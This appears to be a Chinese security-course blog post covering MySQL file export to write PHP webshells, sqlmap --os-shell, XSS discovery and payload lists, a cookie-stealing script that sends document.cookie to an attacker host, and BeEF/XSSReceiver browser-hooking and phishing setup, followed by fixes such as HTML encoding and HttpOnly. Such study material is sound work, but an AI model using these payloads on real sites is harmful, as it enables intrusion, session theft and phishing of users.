本篇整理自我的语雀学习笔记(课堂学习与实操记录),已转为纯文字版并按博客格式排版。

1 into outfile 导出文件

利用方式

-1' union select "<?php phpinfo();?>",2 into outfile "/var/www/html/han.php"#

解释:把 字符串保存到 /var/www/html/han.php 文件中

前提条件

1 网站必须 使用了 mysql root 用户

2 要找到网站保存的绝对路径,且路径有写权限

3 mysql 配置项 secure-file-priv 必须是空字符串

**secure-file-priv=""**

secure-file-priv 配置项详细解释:

  • 不允许mysql导出文件

secure-file-priv=NULL 或 secure-file-priv=

  • 允许mysql导出文件到指定目录

secure-file-priv=/var/lib/mysql

  • 允许mysql导出文件到任意目录

secure-file-priv=""

sqlmap –os-shell

利用流程

python sqlmap.py -r 绝对路径 -p username --os-shell

选择脚本类型:

选择目录:

✨ –os-shell 原理 (-v 3 即可看到原理)

第一步:into dumpfile 导出随机文件 /var/www/html/tmpuvcou.php,是一个文件上传器

⚠️ into outfile 是把字符串导出到文件中, into dumpfile 是把字节码(hex码)导出到文件中

第二步:写入php木马 /var/www/html/tmpbnvhg.php

第三步:执行命令 (可能无回显)

第四步:exit退出,自动清除文件 (可能清不掉)

2 mysql 查询日志导出文件

利用方式

1 登录到 mysql 后台 (phpmyadmin)

2 查看 secure-file-priv 是否为空字符串

**空字符串,说明可以 导出文件到任意位置**

3 查看mysql查询日志是否开启

SHOW VARIABLES LIKE "%general_log%"

如果mysql查询日志是关闭的,需要手动打开

SET GLOBAL GENERAL_log = "on"

4 修改日志的保存路径为php网站所在路径

SET GLOBAL GENERAL_log_file = "/var/www/html/han.php"

5 进行查询,查询的日志会被保存到 /var/www/html/han.php 文件中

SELECT "<?php phpinfo();?>"

6 访问日志文件

XSS 跨站脚本攻击

产生原因

后端开发没有对用户传入的参数 做严格的限制与过滤,并直接输出了用户传入的参数,导致用户传入的参数被浏览器 当做java script 执行

XSS :cross site script=>css=>xss

危害

窃取浏览器端的敏感信息(一般是指浏览器中保存的cookie)
获取浏览器的其他信息
劫持浏览器
getshell,在服务器中执行命令(只在 javascript 充当服务器编程语言时[如 node.js 、bun],
才可能产生该危害)

Node.js 是一个基于 V8 引擎的 JavaScript 运行时环境,2009 年由 Ryan Dahl 创建,
让 JS 可以在浏览器外执行,通常用于开发后端服务、CLI 工具等
Bun 是 2021 年推出的 JavaScript 运行时,旨在替代 Node.js。它使用 JavaScriptCore
引擎(来自 Safari),内置打包、转译、包管理等功能,追求更快的启动速度和执行效率。

挖掘

白盒测试

实际工作中,xss 都是黑盒扫描器扫出的,很少遇到代码审计

方法: 看用户输入的内容有没有直接输出

$keyword = $_GET['keyword'];
echo "搜索结果:<strong>$keyword</strong>";

黑盒测试

方法1

1 输入一个任意字符串,看网站是否原样输出
2 替换字符串为 xss payload, 看是否触发弹窗,触发弹窗则证明有xss漏洞

<script>alert(1)</script>

方法2 随机复制10-20行 xss payload

https://github.com/TheKingOfDuck/fuzzDicts/blob/master/easyXssPayload/easyXssPayload.txt

随机复制10-20行 xss payload,直接粘贴到目标网站的输入框中,看是否触发弹窗,以及触发的 弹窗对应的是哪个具体payload

例:随意复制,粘贴到靶场,触发弹窗

<script>javascript:alert(354)</script\x0D
<script>javascript:alert(355)</script\x0A
<script>javascript:alert(356)</script\x0B
<script charset="\x22>javascript:alert(357)</script>
<!--\x3E<img src=xxx:x onerror=javascript:alert(358)> -->
--><!-- ---> <img src=xxx:x onerror=javascript:alert(359)> -->
--><!-- --\x00> <img src=xxx:x onerror=javascript:alert(360)> -->
--><!-- --\x2361> <img src=xxx:x onerror=javascript:alert(361)> -->
--><!-- --\x3E> <img src=xxx:x onerror=javascript:alert(36
'-alert(1)-'
"onmouseover="alert(1)

说明 359 处的payload可以使用

--><!-- ---> <img src=xxx:x onerror=javascript:alert(359)> -->

利用

分类

反射型XSS

xss 只对当前网站的当前页面生效,是一次性的,会经过服务器

存储型XSS

xss 会经过服务器,且会被服务器保存到数据库中,当用户访问时自动触发,是持久性

DOM型XSS

xss 只对当前网站的当前页面生效,是一次性的,不会经过服务器,是纯前端的漏洞

常见的 playload

1 script 标签

<script>alert(1)</script>

2 a 标签

<a href="javascript:alert(1)">XSS Test</a>

3 事件类型

JavaScript 事件 : https://www.runoob.com/jsref/dom-obj-event.html

oneload

在页面、图片、视频加载成功时触发 js 代码

<img src="[https://cdn.pixabay.com/photo/2025/11/28/16/07/frost-9983255_1280.jpg](https://cdn.pixabay.com/photo/2025/11/28/16/07/frost-9983255_1280.jpg)" onload="alert(1)"/>

onerror

在页面、图片、视频加载失败时触发js 代码

<img src="xxx" onerror="alert(1)" />

onclick

当点击时触发 js 代码

<button onclick="alert(1)"> 点我!!!! </button>

oncopy

当复制时触发

<p oncopy="alert(1)"> 复制✨我💗</p>

onmouseover

当鼠标移动到 元素上时触发

<p onmouseover="alert(1)">你过来鸭!😄</p>

窃取cookie

只有存储型的xss 才有意义

1 弹窗

cookie 在浏览器中, 可以使用 js dom读取,document.cookie,对应的xss payload 如下

攻击者:

<script>alert(document.cookie)<script>

受害者:

只是弹窗攻击对于受害者没啥影响,受害者能看到自己的cookie

攻击者

1 编写 exp.js

var img = document.createElement('img'); // 在dom对象中创建一个img元素
img.width = 0;
img.height = 0;
img.src = "http://your_ip:your_port/1.png?" + escape(document.cookie);
// 定义img标签的src,也就是图片的源,由于img标签会请求源地址,所以可以进行http数据外带
document.body.appendChild(img);

⚠️: your_ip 和 your_port 必须选择受害者能够连接到的ip和端口,实际工作会选择任何人都能连接的云服务器

2 开启监听

python -m http.server

3 攻击者使用 payload 攻击目标网站 (打 xss 漏洞)

<script type="text/javascript" src="http://your_ip:your_port/exp.js"></script>
<script type="text/javascript" src="http://192.168.79.129:8000/exp.js"></script>

%3D 是 =

4 攻击过程结束,耐心等待受害者上钩

5 如果受害者上钩,攻击者即可在监听的HTTP日志中看到受害者的cookie

受害者

受害者登录自己的账号

3 拿到cookie后怎么办

替换、刷新

修复

1 过滤常见关键字

比如过滤 js 标签 (一般很容易拦截网站的正常操作)

<script>alert(1)</script>

$keyword = $_GET['keyword'];

preg_match('/<script>/i', $keyword, $matches);
if (count($matches) > 0) {
  echo "搜索结果:<strong>检测到攻击,拒绝访问</strong>";
  exit;
}

echo "搜索结果:<strong>$keyword</strong>";

2 HTML实体编码

HTML字符实体: https://www.runoob.com/html/html-entities.html

< 编码后 &lt;
> 编码后 &gt;
$keyword = $_GET['keyword'];
$keyword = htmlspecialchars($keyword);
echo "搜索结果:<strong>$keyword</strong>";
攻击者输入 <script>alert(1)</script> 会变成 &lt;script&gt;alert(1)&lt;/script&gt;
可以正常显示,但无法进行 xss 攻击
HttpOnly 的作用:禁止js读取cookie
HttpOnly 不会修复 xss 漏洞,只是xss漏洞不能再窃取cookie,只能弹窗(降低xss漏洞的危害)
ini_set("session.cookie_httponly",1);

利用XSS-平台

beef

源码:https://github.com/beefproject/beef

安装过程

1 修改 beef 源代码 config.yaml 中的用户名和密码

2 构建镜像

docker build -t beef .

3 启动容器

docker run -d -p 3000:3000 --name beef 镜像ID

4 访问 beef

http://192.168.79.129:3000/ui/authentication

http://192.168.79.129:3000/ui/panel

5 用户名和密码 可以在配置文件中看到

使用

hook.js: http://192.168.79.129:3000/hook.js

把 hook.js 拼接为 xss 的 payload:

劫持浏览器

如果受害者触发 xss ,beef 就会上线目标的浏览器,泄露浏览器的信息

commands 里面有非常多的功能,可以钓鱼、劫持目标的浏览器

flash 更新钓鱼

攻击者视角

受害者视角

google gmail 钓鱼

攻击者视角

受害者视角

XSSReceiver

https://github.com/firesunCN/BlueLotus_XSSReceiver

安装过程

1 下载并启动容器

docker build -t bule .
docker run -d -p 10001:80 --name xssreceiver blue

2 把 config.php 复制到容器内部 (恢复密码为 bluelotus)

docker cp config.php xssreceiver:/app

3 打开 http://192.168.79.129:10001/login.php ,使用bluelotus密码登录

使用

得到payload,使用 payload 攻击目标网站有xss漏洞的地方

<script src="http://192.168.79.129:10001/myjs/han.js"></script>

获取信息

当受害者上钩后,XSSReceiver 平台即可看到目标浏览器的信息